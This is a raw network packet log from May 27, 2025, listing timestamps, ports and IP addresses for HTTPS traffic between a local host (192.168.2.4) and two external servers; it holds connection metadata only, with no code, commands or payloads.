May 27, 2025 20:51:51.733269930 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.735260963 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.735287905 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.735321045 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.737477064 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.737565994 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.745469093 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.745482922 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.747399092 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.747548103 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.751873970 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.751904964 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.756305933 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.759887934 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760029078 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760052919 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760291100 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760340929 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760340929 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760356903 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760356903 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760426998 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760432959 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760432959 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760432959 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.760432959 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.761187077 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.762314081 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.764658928 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.789031029 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.789144993 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.806803942 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.812282085 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.816282988 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:51.877980947 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.878388882 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.878958941 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.888289928 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.890777111 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.890836000 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.892285109 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.905788898 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.910404921 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.910430908 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.910660982 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.910686016 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.920960903 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.934972048 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.934995890 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.935236931 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.935261011 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.935477018 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.935494900 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.935775042 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.935781002 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.936896086 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.936920881 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.936939955 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.937155962 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.937189102 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.937207937 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947177887 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.947213888 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947241068 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947282076 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947308064 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947343111 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947367907 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947401047 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947426081 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.947459936 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.957355022 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.957376957 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.957401991 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.957434893 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.957462072 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.957494974 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.960942984 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.960958958 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.960978031 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.961014986 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.961040020 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.961076021 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.975924015 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.975940943 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.975960016 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.975996017 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.976013899 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.976054907 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.984268904 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:51.984282970 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.984307051 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.984415054 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.984441996 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.984473944 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:51.988085032 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.989773035 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.989809990 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.995551109 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.995568037 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.995594025 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.995604992 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.995620012 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:51.995625019 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.000272989 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.000504017 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.000516891 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.000854015 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.000870943 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.000889063 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.000926018 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.000952005 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.000988007 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.001005888 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.014035940 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.016560078 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.016576052 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.016602039 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.016635895 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.016664028 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.019637108 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.029592037 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.031471968 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.031490088 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.033135891 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.033150911 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.033169985 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.033205986 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.033231020 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.033263922 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.033288002 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.034748077 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.040209055 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.040225983 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.047627926 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.047635078 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.047656059 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.047683001 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.047698975 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.047722101 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.047729969 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048579931 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.048597097 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048615932 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048654079 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048669100 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048690081 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048697948 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048793077 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.048866034 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048906088 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048928976 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.048947096 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.049738884 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.051084042 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.055087090 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.055155039 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.055628061 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.055646896 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.056210041 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.057352066 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.060386896 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064084053 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.064156055 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064191103 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064209938 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064229012 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064250946 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064270973 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064292908 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064311981 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.064331055 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.065424919 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.074598074 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.078973055 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.079018116 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.079044104 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.079062939 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.079081059 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.079098940 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.079118013 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.079137087 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.092607975 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.092609882 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.092623949 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.092624903 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.092647076 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.092686892 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.092711926 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.094158888 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.094172001 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.094192028 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.094232082 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.094270945 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.094311953 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.094332933 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.094403982 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.094439030 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.100276947 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.100296974 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.101958036 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.101972103 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.102013111 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.102026939 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.102046967 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.102063894 CEST	443	49751	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.102883101 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.102900028 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.104271889 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.117314100 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.117387056 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.117420912 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.117458105 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.117459059 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.117470980 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.117476940 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.117494106 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.133335114 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.133338928 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.133348942 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.133356094 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.133367062 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.133375883 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.133404970 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.133408070 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.133420944 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.133424044 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.141464949 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.141478062 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.141498089 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.141515017 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.141525030 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.141534090 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.141536951 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.141587973 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.141671896 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.143475056 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.143480062 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.143487930 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.143527031 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.143562078 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.149246931 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.151577950 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.151598930 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.151626110 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.151653051 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.151671886 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.151684046 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.151691914 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.151729107 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.151745081 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.152105093 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.152127981 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.152151108 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.152179003 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.152190924 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.152204990 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.152219057 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.152232885 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.152240992 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.165597916 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.165616035 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.165637016 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.165694952 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.165772915 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.165808916 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.165914059 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.165936947 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.176042080 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.176060915 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.176105022 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.176120996 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.176140070 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.176170111 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.176183939 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.176199913 CEST	443	49749	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.189023972 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.189028978 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.189035892 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.189110994 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.189167023 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.190042973 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.190063000 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.190083981 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.190102100 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.190119028 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.190136909 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.197705030 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197711945 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.197720051 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.197727919 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197727919 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197751999 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197765112 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.197787046 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.197794914 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.197803020 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.197808981 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197808981 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197808981 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197818995 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.197845936 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.197871923 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197874069 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197880983 CEST	443	49752	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.197885036 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.197885036 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.197906971 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.197933912 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.197958946 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197961092 CEST	49752	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197969913 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.197979927 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.197983980 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198009968 CEST	49751	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198009968 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198009968 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198045015 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198046923 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198046923 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198076963 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198091030 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198097944 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.198097944 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.198112011 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198128939 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198131084 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198131084 CEST	49749	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198133945 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198139906 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198146105 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.198157072 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198175907 CEST	49750	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198179007 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198180914 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198214054 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.198215008 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198223114 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198225021 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198246002 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198249102 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.198251963 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198263884 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198277950 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198282957 CEST	443	49750	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.198307991 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198343039 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.198369026 CEST	443	49726	159.138.57.153	192.168.2.4
